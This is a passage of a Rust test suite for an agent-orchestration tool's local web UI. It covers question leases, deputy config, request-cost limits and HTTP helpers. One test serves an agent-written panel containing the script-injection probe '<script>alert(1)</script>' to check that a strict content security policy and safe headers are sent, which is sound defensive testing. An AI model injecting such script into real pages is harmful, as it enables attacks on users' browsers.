9288 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
9289 q.say("why?").unwrap();
9290 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
9291 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9292 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
9293 store.put(&mut q).unwrap();
9294 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9295 assert_eq!(store.count_needs_owner(), 1);
9296 store.beat(&q.id, ask::WaiterKind::Deputy);
9297 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9298 assert_eq!(store.count_needs_owner(), 0);
9299 let mut stale = store.read_lease(&q.id).unwrap();
9300 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
9301 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
9302 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
9303 assert!(view.deputy_exhausted);
9304 assert!(view.waiting_on_agent);
9305 assert_eq!(view.question.choices, ["keep"]);
9306 store.drop_lease(&q.id);
9307 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
9308 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
9309 }
9310
9311 #[test]
9312 fn holder_reads_the_lease_not_the_record() {
9313 let mut q = Question::new(
9314 "run".to_owned(),
9315 "implement".to_owned(),
9316 "impl-A".to_owned(),
9317 "which?".to_owned(),
9318 String::new(),
9319 Vec::new(),
9320 );
9321 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
9322 q.cwd = Some("/tmp".to_owned());
9323 assert_eq!(holder_of(&q, None), Some("nobody"));
9324 let beat = |kind, ago: i64| ask::Lease {
9325 kind,
9326 pid: 1,
9327 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
9328 .unwrap(),
9329 };
9330 let fresh = beat(ask::WaiterKind::Asker, 1);
9331 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
9332 let daemon = beat(ask::WaiterKind::Daemon, 1);
9333 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
9334 let stale = beat(ask::WaiterKind::Asker, 3600);
9335 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
9336
9337 let mut c = Question::new(
9340 "task".to_owned(),
9341 crate::conduct::NODE.to_owned(),
9342 "conduct".to_owned(),
9343 "which?".to_owned(),
9344 String::new(),
9345 Vec::new(),
9346 );
9347 assert_eq!(holder_of(&c, None), Some("nobody"));
9348 c.cwd = Some("/tmp".to_owned());
9349 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
9350 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
9351 let deputy = beat(ask::WaiterKind::Deputy, 1);
9352 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
9353 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
9354
9355 let mut r = Question::new(
9357 String::new(),
9358 crate::bump::NOTICE_NODE.to_owned(),
9359 "release-watch".to_owned(),
9360 "stuck?".to_owned(),
9361 String::new(),
9362 vec!["hold".to_owned()],
9363 );
9364 assert_eq!(holder_of(&r, None), Some("nobody"));
9365 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
9366 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
9367 r.deputy = None;
9369 r.seat = "bump".to_owned();
9370 assert_eq!(holder_of(&r, None), None);
9371
9372 let mut m = Question::new(
9375 "run".to_owned(),
9376 crate::land::APPROVAL_NODE.to_owned(),
9377 "land".to_owned(),
9378 "merge?".to_owned(),
9379 String::new(),
9380 Vec::new(),
9381 );
9382 assert_eq!(holder_of(&m, None), Some("nobody"));
9383 assert_eq!(
9384 holder_of(&m, Some(&fresh)),
9385 Some("asker"),
9386 "a live explicit wait is a listener even before a deputy is attached"
9387 );
9388 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
9389 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
9390 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
9391 assert_eq!(holder_of(&m, None), Some("nobody"));
9392 }
9393
9394 fn stub_config() -> Config {
9395 Config {
9398 agents: vec![crate::config::AgentSpec {
9399 id: "stub".to_owned(),
9400 kind: AgentKind::Command,
9401 model: None,
9402 command: vec!["true".to_owned()],
9403 extra_args: Vec::new(),
9404 env: Default::default(),
9405 prompt_delivery: None,
9406 }],
9407 ..Config::default()
9408 }
9409 }
9410
9411 fn plain_question(seat: &str) -> Question {
9412 Question::new(
9413 String::new(),
9414 "n".to_owned(),
9415 seat.to_owned(),
9416 "s".to_owned(),
9417 String::new(),
9418 Vec::new(),
9419 )
9420 }
9421
9422 #[test]
9423 fn deputies_enabled_follows_the_config() {
9424 let on = stub_config();
9425 assert!(crate::deputy::can_start(Some(&on), ""));
9426 assert!(crate::deputy::can_start(Some(&on), "stub"));
9427 let mut off = on.clone();
9428 off.daemon.max_deputies = 0;
9429 assert!(!crate::deputy::can_start(Some(&off), ""));
9430 let mut empty = on;
9431 empty.agents.clear();
9432 assert!(!crate::deputy::can_start(Some(&empty), ""));
9433 assert!(!crate::deputy::can_start(None, ""));
9434 }
9435
9436 #[test]
9437 fn question_views_load_the_config_once() {
9438 let dir = TempDir::new().unwrap();
9439 let store = ask::Questions::at(dir.path().to_path_buf());
9440 let mut with_deputy = plain_question("b");
9441 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
9442 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
9443
9444 let calls = std::cell::Cell::new(0usize);
9445 let views = question_views(qs.clone(), &store, || {
9446 calls.set(calls.get() + 1);
9447 Some(stub_config())
9448 });
9449 assert_eq!(calls.get(), 1);
9450 assert_eq!(views.len(), 3);
9451 for (v, q) in views.iter().zip(&qs) {
9452 assert_eq!(
9453 v.deputies_enabled,
9454 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9455 );
9456 }
9457
9458 let views = question_views(qs, &store, || None);
9459 assert!(views.iter().all(|v| !v.deputies_enabled));
9460
9461 let calls = std::cell::Cell::new(0usize);
9462 let views = question_views(Vec::new(), &store, || {
9463 calls.set(calls.get() + 1);
9464 None
9465 });
9466 assert!(views.is_empty());
9467 assert_eq!(calls.get(), 0);
9468 }
9469
9470 use pretty_assertions::assert_eq;
9471 use serde_json::Value;
9472 use tempfile::TempDir;
9473 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9474
9475 use super::*;
9476 use crate::config::Config;
9477 use crate::queue::Source;
9478
9479 const SETTLE_STEPS: usize = 3_000;
9490
9491 struct Fixture {
9497 home: TempDir,
9498 addr: SocketAddr,
9499 }
9500
9501 impl Fixture {
9502 async fn start() -> Self {
9503 Self::with_loop(launch_idle).await
9504 }
9505
9506 async fn with_loop(launch: Launch) -> Self {
9508 let home = TempDir::new().expect("temp home");
9509 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9510 Self { home, addr }
9511 }
9512
9513 async fn with_repo(repo: PathBuf) -> Self {
9517 let home = TempDir::new().expect("temp home");
9518 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9519 Self { home, addr }
9520 }
9521
9522 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9525 let home = TempDir::new().expect("temp home");
9526 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9527 Self { home, addr }
9528 }
9529
9530 async fn serve(
9531 home: &FsPath,
9532 repo: PathBuf,
9533 launch: Launch,
9534 machine: Option<PathBuf>,
9535 ) -> SocketAddr {
9536 let queue = Queue::at(home.join("queue"));
9537 let runs = home.join("runs");
9538 std::fs::create_dir_all(&runs).expect("runs dir");
9539 let worktrees = home.join("wt").join("magi");
9540 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9541 let ui = Ui::new(
9542 queue,
9543 Questions::at(home.join("questions")),
9544 Talks::at(home.join("talks")),
9545 runs,
9546 home.to_path_buf(),
9547 repo,
9548 )
9549 .with_worktrees_root(worktrees)
9550 .with_machine_config(machine)
9551 .with_launch(launch);
9552 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9553 .await
9554 .expect("bind loopback");
9555 let addr = listener.local_addr().expect("local addr");
9556 tokio::spawn(async move {
9557 let router = ui
9558 .router()
9559 .layer(axum::middleware::from_fn(request_cost::observe));
9560 let _ = axum::serve(listener, router).await;
9561 });
9562 addr
9563 }
9564
9565 fn queue(&self) -> Queue {
9566 Queue::at(self.home.path().join("queue"))
9567 }
9568
9569 fn questions(&self) -> Questions {
9570 Questions::at(self.home.path().join("questions"))
9571 }
9572
9573 fn talks(&self) -> Talks {
9574 Talks::at(self.home.path().join("talks"))
9575 }
9576
9577 fn runs(&self) -> PathBuf {
9578 self.home.path().join("runs")
9579 }
9580
9581 async fn get(&self, path: &str) -> Res {
9582 request(self.addr, "GET", path, None).await
9583 }
9584
9585 async fn head(&self, path: &str) -> Res {
9590 request(self.addr, "HEAD", path, None).await
9591 }
9592
9593 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9594 request(self.addr, "POST", path, body).await
9595 }
9596
9597 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9598 request_with(self.addr, "GET", path, None, extra).await
9599 }
9600
9601 async fn delete(&self, path: &str) -> Res {
9602 request(self.addr, "DELETE", path, None).await
9603 }
9604
9605 async fn put(&self, path: &str, body: &str) -> Res {
9606 request(self.addr, "PUT", path, Some(body)).await
9607 }
9608
9609 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9611 request_bytes(self.addr, path, headers, body).await
9612 }
9613 }
9614
9615 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9618 let tmp = TempDir::new().unwrap();
9619 let mut repos = Vec::new();
9620 for name in ["one", "two"] {
9621 let repo = tmp.path().join(name);
9622 let origin = tmp.path().join(format!("{name}.git"));
9623 std::fs::create_dir_all(&repo).unwrap();
9624 crate::git::git(&repo, &["init", "-b", "main"])
9625 .await
9626 .unwrap();
9627 std::fs::write(
9628 repo.join("magi.toml"),
9629 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9630 )
9631 .unwrap();
9632 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9633 crate::git::git(
9634 &repo,
9635 &[
9636 "-c",
9637 "user.name=fixture",
9638 "-c",
9639 "user.email=fixture@example.invalid",
9640 "commit",
9641 "-m",
9642 "fixture",
9643 ],
9644 )
9645 .await
9646 .unwrap();
9647 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9648 .await
9649 .unwrap();
9650 crate::git::git(
9651 &repo,
9652 &["remote", "add", "origin", origin.to_str().unwrap()],
9653 )
9654 .await
9655 .unwrap();
9656 crate::git::git(&repo, &["push", "origin", "main"])
9657 .await
9658 .unwrap();
9659 crate::git::git(
9660 &repo,
9661 &[
9662 "symbolic-ref",
9663 "refs/remotes/origin/HEAD",
9664 "refs/remotes/origin/main",
9665 ],
9666 )
9667 .await
9668 .unwrap();
9669 let (cfg, _) = Config::discover(&repo, None).unwrap();
9670 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9671 repos.push(repo);
9672 }
9673 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9674 (tmp, repos)
9675 }
9676
9677 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9678 let (tmp, repos) = performance_repositories().await;
9679 let machine = tmp.path().join("machine.toml");
9680 std::fs::write(&machine, "").unwrap();
9681 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9682 (tmp, repos, fx)
9683 }
9684
9685 fn seed_performance(
9686 fx: &Fixture,
9687 repos: &[PathBuf; 2],
9688 questions: usize,
9689 runs: usize,
9690 items: usize,
9691 ) {
9692 for i in fx.questions().list().len()..questions {
9694 let mut question = Question::new(
9695 "20261001-000000-0000".into(),
9696 "implement".into(),
9697 "impl-A".into(),
9698 format!("question {i}"),
9699 "context".into(),
9700 vec!["yes".into(), "no".into()],
9701 );
9702 question.id = format!("20261003-000000-{i:04x}");
9703 fx.questions().put(&mut question).unwrap();
9704 }
9705 for i in run_ids(&fx.runs()).len()..runs {
9706 write_run_repo(
9707 &fx.runs(),
9708 &format!("20261001-000000-{i:04x}"),
9709 RunStatus::Ready,
9710 repos[i % 2].to_str().unwrap(),
9711 );
9712 }
9713 for i in fx.talks().list().len()..items {
9714 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9715 let mut talk = fx.talks().get(&id).unwrap();
9716 talk.repo = repos[i % 2].clone();
9717 fx.talks().put(&mut talk).unwrap();
9718 let mut task = crate::queue::Task::new(
9719 format!("task {i}"),
9720 "instruction".into(),
9721 repos[i % 2].clone(),
9722 crate::queue::Source::Agent {
9723 run: id,
9724 node: crate::queue::CHAT_NODE.into(),
9725 },
9726 );
9727 task.id = format!("20261004-000000-{i:04x}");
9728 fx.queue().put(&mut task).unwrap();
9729 if i < crate::notices::CAP {
9731 Notices::at(fx.home.path().join("notifications"))
9732 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9733 .unwrap();
9734 }
9735 }
9736 assert_eq!(fx.questions().list().len(), questions);
9737 assert_eq!(run_ids(&fx.runs()).len(), runs);
9738 assert_eq!(fx.talks().list().len(), items);
9739 assert_eq!(fx.queue().list().len(), items);
9740 assert_eq!(
9741 Notices::at(fx.home.path().join("notifications"))
9742 .list()
9743 .len(),
9744 items.min(crate::notices::CAP)
9745 );
9746 }
9747
9748 fn request_counts(res: &Res) -> (usize, usize) {
9749 assert_eq!(res.status, 200, "{}", res.body);
9750 (
9751 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9752 res.header("x-test-git").unwrap().parse().unwrap(),
9753 )
9754 }
9755
9756 #[tokio::test]
9757 async fn list_request_cost_is_independent_of_record_count() {
9758 let (_tmp, repos, fx) = performance_fixture().await;
9759 let mut previous = None;
9760 for n in [4, 60] {
9761 seed_performance(&fx, &repos, n, n, n);
9762 let mut costs = Vec::new();
9763 for (path, discoveries) in [
9764 ("/api/questions", 1),
9765 ("/api/talks", 2),
9766 ("/api/health", 1),
9767 ("/api/stats", 1),
9768 ] {
9769 for repo in &repos {
9772 let cache = repo.join(".git/magi/config");
9773 if cache.exists() {
9774 std::fs::remove_dir_all(cache).unwrap();
9775 }
9776 }
9777 let cost = request_counts(&fx.get(path).await);
9778 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9779 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9780 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9781 costs.push(cost);
9782 }
9783 if let Some(previous) = previous {
9784 assert_eq!(costs, previous);
9785 }
9786 previous = Some(costs);
9787 }
9788 }
9792
9793 #[tokio::test]
9796 async fn list_handler_cost_without_transport() {
9797 let (_tmp, repos) = performance_repositories().await;
9798 let fx = Fixture {
9799 home: TempDir::new().unwrap(),
9800 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9801 };
9802 let ui = Arc::new(
9803 Ui::new(
9804 fx.queue(),
9805 fx.questions(),
9806 fx.talks(),
9807 fx.runs(),
9808 fx.home.path().to_path_buf(),
9809 repos[0].clone(),
9810 )
9811 .with_worktrees_root(fx.home.path().join("wt")),
9812 );
9813 let mut previous = None;
9814 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9815 seed_performance(&fx, &repos, n, runs, items);
9816 let mut costs = Vec::new();
9817 for endpoint in ["questions", "talks", "health", "stats"] {
9818 for repo in &repos {
9819 let cache = repo.join(".git/magi/config");
9820 if cache.exists() {
9821 std::fs::remove_dir_all(cache).unwrap();
9822 }
9823 }
9824 let (_, cost) = request_cost::measure(async {
9825 match endpoint {
9826 "questions" => {
9827 let _ = questions_list(State(ui.clone())).await.unwrap();
9828 }
9829 "talks" => {
9830 let _ = talks_list(
9831 State(ui.clone()),
9832 Query(ListQuery {
9833 limit: None,
9834 ids: None,
9835 }),
9836 )
9837 .await
9838 .unwrap();
9839 }
9840 "health" => {
9841 let _ = health(State(ui.clone())).await.unwrap();
9842 }
9843 _ => {
9844 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9845 .await
9846 .unwrap();
9847 }
9848 }
9849 })
9850 .await;
9851 eprintln!("{endpoint} handler N={n}: {cost:?}");
9852 assert_eq!(
9853 cost.0,
9854 if endpoint == "talks" { 2 } else { 1 },
9855 "{endpoint}"
9856 );
9857 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9858 costs.push(cost);
9859 }
9860 if let Some(previous) = previous {
9861 assert_eq!(costs, previous);
9862 }
9863 previous = Some(costs);
9864 }
9865 }
9866
9867 #[tokio::test]
9868 async fn list_request_cost_scopes_do_not_mix() {
9869 let (_tmp, repos, fx) = performance_fixture().await;
9870 seed_performance(&fx, &repos, 10, 0, 10);
9871 let (questions, talks, notices) = tokio::join!(
9872 fx.get("/api/questions"),
9873 fx.get("/api/talks"),
9874 fx.get("/api/notifications")
9875 );
9876 assert_eq!(request_counts(&questions).0, 1);
9877 assert_eq!(request_counts(&talks).0, 2);
9878 assert_eq!(request_counts(¬ices), (0, 0));
9879 }
9880
9881 #[tokio::test]
9882 async fn list_endpoints_large_home_ceiling() {
9883 let (_tmp, repos, fx) = performance_fixture().await;
9884 seed_performance(&fx, &repos, 200, 300, 400);
9885 let mut failures = Vec::new();
9886 for path in [
9889 "/",
9890 "/app.js",
9891 "/app.css",
9892 "/api/questions",
9893 "/api/runs?limit=300",
9894 "/api/queue",
9895 "/api/talks",
9896 "/api/notifications",
9897 "/api/health",
9898 "/api/stats",
9899 "/api/loop",
9900 "/api/settings",
9901 "/api/repos",
9902 ] {
9903 let start = std::time::Instant::now();
9904 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9905 let elapsed = start.elapsed();
9906 eprintln!("{path}: {elapsed:?}");
9907 match result {
9908 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9909 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9910 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9911 }
9912 }
9913 assert!(failures.is_empty(), "{}", failures.join("\n"));
9914 }
9915
9916 struct Res {
9917 status: u16,
9918 headers: String,
9919 head: String,
9924 body: String,
9925 bytes: Vec<u8>,
9929 }
9930
9931 impl Res {
9932 fn json(&self) -> Value {
9933 serde_json::from_str(&self.body)
9934 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9935 }
9936
9937 fn header(&self, name: &str) -> Option<&str> {
9939 self.head.lines().find_map(|line| {
9940 let (key, value) = line.split_once(':')?;
9941 key.trim()
9942 .eq_ignore_ascii_case(name)
9943 .then(|| value.trim_start().trim_end_matches('\r'))
9944 })
9945 }
9946 }
9947
9948 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9951 request_with(addr, method, path, body, &[]).await
9952 }
9953
9954 async fn request_with(
9958 addr: SocketAddr,
9959 method: &str,
9960 path: &str,
9961 body: Option<&str>,
9962 extra: &[(&str, &str)],
9963 ) -> Res {
9964 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9965 for (name, value) in extra {
9966 head.push_str(&format!("{name}: {value}\r\n"));
9967 }
9968 if let Some(body) = body {
9969 head.push_str("Content-Type: application/json\r\n");
9970 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9971 }
9972 head.push_str("\r\n");
9973 if let Some(body) = body {
9974 head.push_str(body);
9975 }
9976 let mut socket = tokio::net::TcpStream::connect(addr)
9977 .await
9978 .expect("connect to the test server");
9979 socket
9980 .write_all(head.as_bytes())
9981 .await
9982 .expect("write request");
9983 let mut raw = Vec::new();
9984 socket.read_to_end(&mut raw).await.expect("read response");
9985 let split = raw
9988 .windows(4)
9989 .position(|w| w == b"\r\n\r\n")
9990 .expect("a header block");
9991 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9992 let bytes = raw[split + 4..].to_vec();
9993 let status = head
9994 .lines()
9995 .next()
9996 .and_then(|line| line.split_whitespace().nth(1))
9997 .and_then(|code| code.parse().ok())
9998 .expect("a status line");
9999 Res {
10000 status,
10001 headers: head.to_lowercase(),
10002 head,
10003 body: String::from_utf8_lossy(&bytes).into_owned(),
10004 bytes,
10005 }
10006 }
10007
10008 async fn request_bytes(
10014 addr: SocketAddr,
10015 path: &str,
10016 headers: &[(&str, &str)],
10017 body: &[u8],
10018 ) -> Res {
10019 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10020 for (name, value) in headers {
10021 head.push_str(&format!("{name}: {value}\r\n"));
10022 }
10023 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10024 let mut socket = tokio::net::TcpStream::connect(addr)
10025 .await
10026 .expect("connect to the test server");
10027 socket
10028 .write_all(head.as_bytes())
10029 .await
10030 .expect("write request head");
10031 socket.write_all(body).await.expect("write request body");
10032 let mut raw = Vec::new();
10033 socket.read_to_end(&mut raw).await.expect("read response");
10034 let split = raw
10035 .windows(4)
10036 .position(|w| w == b"\r\n\r\n")
10037 .expect("a header block");
10038 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10039 let bytes = raw[split + 4..].to_vec();
10040 let status = head
10041 .lines()
10042 .next()
10043 .and_then(|line| line.split_whitespace().nth(1))
10044 .and_then(|code| code.parse().ok())
10045 .expect("a status line");
10046 Res {
10047 status,
10048 headers: head.to_lowercase(),
10049 head,
10050 body: String::from_utf8_lossy(&bytes).into_owned(),
10051 bytes,
10052 }
10053 }
10054
10055 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10057 let mut state = RunState::new(
10058 PathBuf::from("/repo/magi"),
10059 "main".to_owned(),
10060 "0123456789abcdef".to_owned(),
10061 "Add a web UI\n\nMobile first.".to_owned(),
10062 Config::default(),
10063 );
10064 state.id = id.to_owned();
10065 state.status = status;
10066 let dir = runs.join(id);
10067 std::fs::create_dir_all(&dir).expect("run dir");
10068 std::fs::write(
10069 dir.join("run.json"),
10070 serde_json::to_string_pretty(&state).expect("serialize run"),
10071 )
10072 .expect("write run.json");
10073 }
10074
10075 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10079 let mut state = RunState::new(
10080 PathBuf::from(repo),
10081 "main".to_owned(),
10082 "0123456789abcdef".to_owned(),
10083 "task".to_owned(),
10084 Config::default(),
10085 );
10086 state.id = id.to_owned();
10087 state.status = status;
10088 let dir = runs.join(id);
10089 std::fs::create_dir_all(&dir).expect("run dir");
10090 std::fs::write(
10091 dir.join("run.json"),
10092 serde_json::to_string_pretty(&state).expect("serialize run"),
10093 )
10094 .expect("write run.json");
10095 }
10096
10097 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10098 let body = serde_json::json!({
10099 "schema": 1,
10100 "pid": 4242,
10101 "started_at": Timestamp::now().to_string(),
10102 "updated_at": updated_at.to_string(),
10103 "idle": false,
10104 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10105 "completed": 7,
10106 "polls": 143,
10107 });
10108 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10109 }
10110
10111 fn launch_idle(
10121 _opts: daemon::Opts,
10122 stop: daemon::Stop,
10123 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10124 Box::pin(async move {
10125 while !stop.stopped() {
10126 tokio::time::sleep(Duration::from_millis(2)).await;
10127 }
10128 Ok(())
10129 })
10130 }
10131
10132 fn launch_broken(
10135 _opts: daemon::Opts,
10136 _stop: daemon::Stop,
10137 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10138 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10143 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10144 Box::pin(async move {
10145 Err(anyhow::anyhow!(if first {
10146 "publish the daemon status file: read-only file system"
10147 } else {
10148 "the restarted stand-in failed as well"
10149 }))
10150 })
10151 }
10152
10153 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10160 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10161
10162 fn launch_knocking_on_the_way_out(
10169 _opts: daemon::Opts,
10170 stop: daemon::Stop,
10171 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10172 Box::pin(async move {
10173 while !stop.stopped() {
10174 tokio::time::sleep(Duration::from_millis(2)).await;
10175 }
10176 let addr = PARK_KNOCK
10177 .lock()
10178 .expect("park knock")
10179 .expect("the test set an address");
10180 let heard = request(addr, "GET", "/api/health", None).await.status;
10181 *PARK_HEARD.lock().expect("park heard") = Some(heard);
10182 Ok(())
10183 })
10184 }
10185
10186 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10195 for _ in 0..SETTLE_STEPS {
10196 let view = fx.get("/api/loop").await.json();
10197 if want(&view) {
10198 return view;
10199 }
10200 tokio::time::sleep(Duration::from_millis(10)).await;
10201 }
10202 panic!(
10203 "the loop never settled: {}",
10204 fx.get("/api/loop").await.json()
10205 );
10206 }
10207
10208 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
10210 let store = fx.questions();
10211 let mut q = Question::new(
10212 "20260902-000000-beef".to_owned(),
10213 "implement".to_owned(),
10214 "impl-A".to_owned(),
10215 summary.to_owned(),
10216 "because it matters".to_owned(),
10217 choices.iter().map(|c| (*c).to_owned()).collect(),
10218 );
10219 store.put(&mut q).expect("put question");
10220 q.id
10221 }
10222
10223 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
10229 let store = fx.questions();
10230 let mut q = Question::new(
10231 "20260902-000000-beef".to_owned(),
10232 "land".to_owned(),
10233 "fix".to_owned(),
10234 "Merge this?".to_owned(),
10235 "the diff is in the panel".to_owned(),
10236 vec!["merge".to_owned(), "hold".to_owned()],
10237 );
10238 let staging = fx.home.path().join("staging");
10241 std::fs::create_dir_all(&staging).expect("staging dir");
10242 let sources: Vec<PathBuf> = assets
10243 .iter()
10244 .map(|(name, bytes)| {
10245 let path = staging.join(name);
10246 std::fs::write(&path, bytes).expect("write staged asset");
10247 path
10248 })
10249 .collect();
10250 store
10251 .put_panel(&mut q, html, &sources)
10252 .expect("write the panel");
10253 store.put(&mut q).expect("put question");
10254 q.id
10255 }
10256
10257 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
10266 seed_talk_at(&fx.talks(), id, status)
10267 }
10268
10269 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
10270 std::fs::create_dir_all(store.root()).expect("talks dir");
10271 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
10272 .expect("serialize a seat");
10273 let body = serde_json::json!({
10274 "schema": 1,
10275 "id": id,
10276 "repo": "/repo/magi",
10277 "agent": "mock",
10278 "status": status,
10279 "turns": [],
10280 "created_at": Timestamp::now().to_string(),
10281 "updated_at": Timestamp::now().to_string(),
10282 "seat": seat,
10283 });
10284 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
10285 store.get(id).expect("the seeded talk has to be readable");
10286 id.to_owned()
10287 }
10288
10289 #[tokio::test]
10290 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
10291 let fx = Fixture::start().await;
10292 let id = panel(
10293 &fx,
10294 "<h1>Merge?</h1><img src=\"diff.svg\">",
10295 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
10296 );
10297
10298 for path in [
10299 format!("/api/questions/{id}/panel"),
10300 format!("/api/questions/{id}/asset/diff.svg"),
10301 ] {
10302 let res = fx.get(&path).await;
10303 assert_eq!(res.status, 200, "{path}: {}", res.body);
10304 assert_eq!(
10310 res.header("content-security-policy"),
10311 Some(
10312 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
10313 font-src data:; base-uri 'none'; form-action 'none'; \
10314 frame-ancestors 'self'"
10315 ),
10316 "{path} is the only thing between a hostile panel and the tailnet"
10317 );
10318 assert_eq!(
10319 res.header("x-content-type-options"),
10320 Some("nosniff"),
10321 "{path}: a browser must not re-decide the type we sent"
10322 );
10323 assert_eq!(
10324 res.header("referrer-policy"),
10325 Some("no-referrer"),
10326 "{path}: a panel must not leak the question id off the machine"
10327 );
10328
10329 let pre = fx.head(&path).await;
10334 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
10335 assert_eq!(
10336 pre.header("content-security-policy"),
10337 res.header("content-security-policy"),
10338 "{path}: the preflight carries the same policy"
10339 );
10340 assert_eq!(
10341 pre.header("content-type"),
10342 res.header("content-type"),
10343 "{path}: the preflight carries the same type"
10344 );
10345 }
10346 }
10347
10348 #[tokio::test]
10349 async fn a_panel_reaches_the_browser_byte_for_byte() {
10350 let fx = Fixture::start().await;
10351 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
10356 let id = panel(&fx, html, &[]);
10357
10358 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
10359
10360 assert_eq!(res.status, 200);
10361 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
10362 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
10363 assert_eq!(
10364 res.header("content-disposition"),
10365 None,
10366 "the panel itself is rendered in the frame, not downloaded"
10367 );
10368 }
10369
10370 #[tokio::test]
